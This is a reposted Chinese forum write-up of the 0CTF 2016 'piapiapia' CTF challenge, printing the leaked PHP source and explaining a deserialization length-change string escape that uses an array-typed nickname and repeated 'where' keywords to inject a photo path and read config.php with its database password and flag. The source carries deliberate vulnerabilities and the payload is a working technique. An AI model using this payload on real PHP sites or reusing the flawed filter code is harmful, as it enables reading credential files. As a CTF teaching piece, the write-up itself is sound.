
离线 TA的专栏
- 打卡等级:热心大叔
- 打卡总天数:231
- 打卡月天数:0
- 打卡总奖励:3681
- 最近打卡:2025-06-26 17:09:21
|
一个很可爱的登录界面:
进行一下目录扫描,发现源码泄露www.zip,把源码给出:
index.php - <?php
- require_once('class.php');
- if($_SESSION['username']) {
- header('Location: profile.php');
- exit;
- }
- if($_POST['username'] && $_POST['password']) {
- $username = $_POST['username'];
- $password = $_POST['password'];
- if(strlen($username) < 3 or strlen($username) > 16)
- die('Invalid user name');
- if(strlen($password) < 3 or strlen($password) > 16)
- die('Invalid password');
- if($user->login($username, $password)) {
- $_SESSION['username'] = $username;
- header('Location: profile.php');
- exit;
- }
- else {
- die('Invalid user name or password');
- }
- }
- else {
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>Login</title>
- <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
- <script src="static/jquery.min.js"></script>
- <script src="static/bootstrap.min.js"></script>
- </head>
- <body>
- <div class="container" style="margin-top:100px">
- <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
- <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
- <h3>Login</h3>
- <label>Username:</label>
- <input type="text" name="username" style="height:30px"class="span3"/>
- <label>Password:</label>
- <input type="password" name="password" style="height:30px" class="span3">
- <button type="submit" class="btn btn-primary">LOGIN</button>
- </form>
- </div>
- </body>
- </html>
- <?php
- }
- ?>
复制代码在输入账号密码之后进入了profile.php,下面是profile.php的源码: - <?php
- require_once('class.php');
- if($_SESSION['username'] == null) {
- die('Login First');
- }
- $username = $_SESSION['username'];
- $profile=$user->show_profile($username);
- if($profile == null) {
- header('Location: update.php');
- }
- else {
- $profile = unserialize($profile);
- $phone = $profile['phone'];
- $email = $profile['email'];
- $nickname = $profile['nickname'];
- $photo = base64_encode(file_get_contents($profile['photo']));
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>Profile</title>
- <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
- <script src="static/jquery.min.js"></script>
- <script src="static/bootstrap.min.js"></script>
- </head>
- <body>
- <div class="container" style="margin-top:100px">
- <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
- <h3>Hi <?php echo $nickname;?></h3>
- <label>Phone: <?php echo $phone;?></label>
- <label>Email: <?php echo $email;?></label>
- </div>
- </body>
- </html>
- <?php
- }
- ?>
复制代码还有注册页面的源码(没有太大用),register.php: - <?php
- require_once('class.php');
- if($_POST['username'] && $_POST['password']) {
- $username = $_POST['username'];
- $password = $_POST['password'];
- if(strlen($username) < 3 or strlen($username) > 16)
- die('Invalid user name');
- if(strlen($password) < 3 or strlen($password) > 16)
- die('Invalid password');
- if(!$user->is_exists($username)) {
- $user->register($username, $password);
- echo 'Register OK!<a href="index.php" rel="external nofollow" >Please Login</a>';
- }
- else {
- die('User name Already Exists');
- }
- }
- else {
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>Login</title>
- <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
- <script src="static/jquery.min.js"></script>
- <script src="static/bootstrap.min.js"></script>
- </head>
- <body>
- <div class="container" style="margin-top:100px">
- <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
- <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
- <h3>Register</h3>
- <label>Username:</label>
- <input type="text" name="username" style="height:30px"class="span3"/>
- <label>Password:</label>
- <input type="password" name="password" style="height:30px" class="span3">
- <button type="submit" class="btn btn-primary">REGISTER</button>
- </form>
- </div>
- </body>
- </html>
- <?php
- }
- ?>
复制代码然后是update.php: - <?php
- require_once('class.php');
- if($_SESSION['username'] == null) {
- die('Login First');
- }
- if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
- $username = $_SESSION['username'];
- if(!preg_match('/^\d{11}$/', $_POST['phone']))
- die('Invalid phone');
- if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
- die('Invalid email');
-
- if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
- die('Invalid nickname');
- $file = $_FILES['photo'];
- if($file['size'] < 5 or $file['size'] > 1000000)
- die('Photo size error');
- move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
- $profile['phone'] = $_POST['phone'];
- $profile['email'] = $_POST['email'];
- $profile['nickname'] = $_POST['nickname'];
- $profile['photo'] = 'upload/' . md5($file['name']);
- $user->update_profile($username, serialize($profile));
- echo 'Update Profile Success!<a href="profile.php" rel="external nofollow" >Your Profile</a>';
- }
- else {
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>UPDATE</title>
- <link href="static/bootstrap.min.css" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="external nofollow" rel="stylesheet">
- <script src="static/jquery.min.js"></script>
- <script src="static/bootstrap.min.js"></script>
- </head>
- <body>
- <div class="container" style="margin-top:100px">
- <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
- <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
- <h3>Please Update Your Profile</h3>
- <label>Phone:</label>
- <input type="text" name="phone" style="height:30px"class="span3"/>
- <label>Email:</label>
- <input type="text" name="email" style="height:30px"class="span3"/>
- <label>Nickname:</label>
- <input type="text" name="nickname" style="height:30px" class="span3">
- <label for="file">Photo:</label>
- <input type="file" name="photo" style="height:30px"class="span3"/>
- <button type="submit" class="btn btn-primary">UPDATE</button>
- </form>
- </div>
- </body>
- </html>
- <?php
- }
- ?>
复制代码核心的处理代码,class.php: - <?php
- require('config.php');
- class user extends mysql{
- private $table = 'users';
- public function is_exists($username) {
- $username = parent::filter($username);
- $where = "username = '$username'";
- return parent::select($this->table, $where);
- }
- public function register($username, $password) {
- $username = parent::filter($username);
- $password = parent::filter($password);
- $key_list = Array('username', 'password');
- $value_list = Array($username, md5($password));
- return parent::insert($this->table, $key_list, $value_list);
- }
- public function login($username, $password) {
- $username = parent::filter($username);
- $password = parent::filter($password);
- $where = "username = '$username'";
- $object = parent::select($this->table, $where);
- if ($object && $object->password === md5($password)) {
- return true;
- } else {
- return false;
- }
- }
- public function show_profile($username) {
- $username = parent::filter($username);
- $where = "username = '$username'";
- $object = parent::select($this->table, $where);
- return $object->profile;
- }
- public function update_profile($username, $new_profile) {
- $username = parent::filter($username);
- $new_profile = parent::filter($new_profile);
- $where = "username = '$username'";
- return parent::update($this->table, 'profile', $new_profile, $where);
- }
- public function __tostring() {
- return __class__;
- }
- }
- class mysql {
- private $link = null;
- public function connect($config) {
- $this->link = mysql_connect(
- $config['hostname'],
- $config['username'],
- $config['password']
- );
- mysql_select_db($config['database']);
- mysql_query("SET sql_mode='strict_all_tables'");
- return $this->link;
- }
- public function select($table, $where, $ret = '*') {
- $sql = "SELECT $ret FROM $table WHERE $where";
- $result = mysql_query($sql, $this->link);
- return mysql_fetch_object($result);
- }
- public function insert($table, $key_list, $value_list) {
- $key = implode(',', $key_list);
- $value = '\'' . implode('\',\'', $value_list) . '\'';
- $sql = "INSERT INTO $table ($key) VALUES ($value)";
- return mysql_query($sql);
- }
- public function update($table, $key, $value, $where) {
- $sql = "UPDATE $table SET $key = '$value' WHERE $where";
- return mysql_query($sql);
- }
- public function filter($string) {
- $escape = array('\'', '\\\\');
- $escape = '/' . implode('|', $escape) . '/';
- $string = preg_replace($escape, '_', $string);
- $safe = array('select', 'insert', 'update', 'delete', 'where');
- $safe = '/' . implode('|', $safe) . '/i';
- return preg_replace($safe, 'hacker', $string);
- }
- public function __tostring() {
- return __class__;
- }
- }
- session_start();
- $user = new user();
- $user->connect($config);
复制代码最后是config.php: - <?php
- $config['hostname'] = '127.0.0.1';
- $config['username'] = 'root';
- $config['password'] = '';
- $config['database'] = '';
- $flag = '';
- ?>
复制代码看来flag就是在config.php中了,要想办法拿到config.php的内容了。
然后就是代码审计了。
seay代码审计系统也可以给点线索的:
这个地方貌似有个文件读取的地方,在profile.php中: - else {
- $profile = unserialize($profile);
- $phone = $profile['phone'];
- $email = $profile['email'];
- $nickname = $profile['nickname'];
- $photo = base64_encode(file_get_contents($profile['photo']));
- ?>
复制代码上面还有个反序列化unserialize,感觉有戏,如果$profile[‘photo']是config.php就可以读取到了,可以对photo进行操作的地方在update.php,有phone、email、nickname和photo这几个。 - $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
- print_r(unserialize($profile));
复制代码结果如下: - Array
- (
- [phone] => 12345678901
- [email] => ss@q.com
- [nickname] => sea_sand
- [photo] => config.php
- )
复制代码可以看到反序列化之后,最后面upload这一部分就没了,下面就是想办法把config.php塞进去了。
从数组顺序上看是和上面数组的顺序一样的,可以抓个包看下post顺序,那么最有可能的就是从nickname下手了。
在设置了$profile之后,用update_profile()函数进行处理: - public function update_profile($username, $new_profile) {
- $username = parent::filter($username);
- $new_profile = parent::filter($new_profile);
- $where = "username = '$username'";
- return parent::update($this->table, 'profile', $new_profile, $where);
- }
复制代码进行了过滤: - public function filter($string) {
- $escape = array('\'', '\\\\');
- $escape = '/' . implode('|', $escape) . '/';
- $string = preg_replace($escape, '_', $string);
- $safe = array('select', 'insert', 'update', 'delete', 'where');
- $safe = '/' . implode('|', $safe) . '/i';
- return preg_replace($safe, 'hacker', $string);
- }
复制代码有两个正则过滤,带上输入nickname时候有一个正则,总共三个过滤的地方,首先要绕过第一个输入时候的正则: - if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
- die('Invalid nickname');
- 数组即可绕过:
- nickname[]=
- 那么$profile就是这样了:
- $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
复制代码后面的正则要怎么利用呢,可以看到如果我们输入的有where,会替换成hacker,这样的话长度就变了,序列化后的每个变量都是有长度的,那么反序列化会怎么处理呢?我们应该怎么构造呢?
数组绕过了第一个正则过滤之后,如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;},一共是34个字符,如果利用正则替换34个where,不就可以把这34个给挤出去,后面的upload因为序列化串被我们闭合了也就没用了: - nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
- $profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
复制代码在where被正则匹配换成hacker之后,正好满足长度,然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了,被反序列化的时候就会被当成photo,就可以读取到config.php的内容了。
下面开始操作:注册之后登陆,进入到update.php页面,输入信息及上传图片,用bp抓包把nickname改成数组即可:
然后进入到profile中查看图片信息,把base64码解码: - PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==
复制代码解码得到:
- <?php
- $config['hostname'] = '127.0.0.1';
- $config['username'] = 'root';
- $config['password'] = 'qwertyuiop';
- $config['database'] = 'challenges';
- $flag = 'flag{0ctf_2016_unserialize_is_very_good!}';
- ?>
复制代码 总结
以上所述是小编给大家介绍的php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia),希望对大家有所帮助!
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |
晓枫资讯-科技资讯社区-免责声明
免责声明:以上内容为本网站转自其它媒体,相关信息仅为传递更多信息之目的,不代表本网观点,亦不代表本网站赞同其观点或证实其内容的真实性。
1、注册用户在本社区发表、转载的任何作品仅代表其个人观点,不代表本社区认同其观点。
2、管理员及版主有权在不事先通知或不经作者准许的情况下删除其在本社区所发表的文章。
3、本社区的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,举报反馈:  进行删除处理。
4、本社区一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
5、以上声明内容的最终解释权归《晓枫资讯-科技资讯社区》所有。
|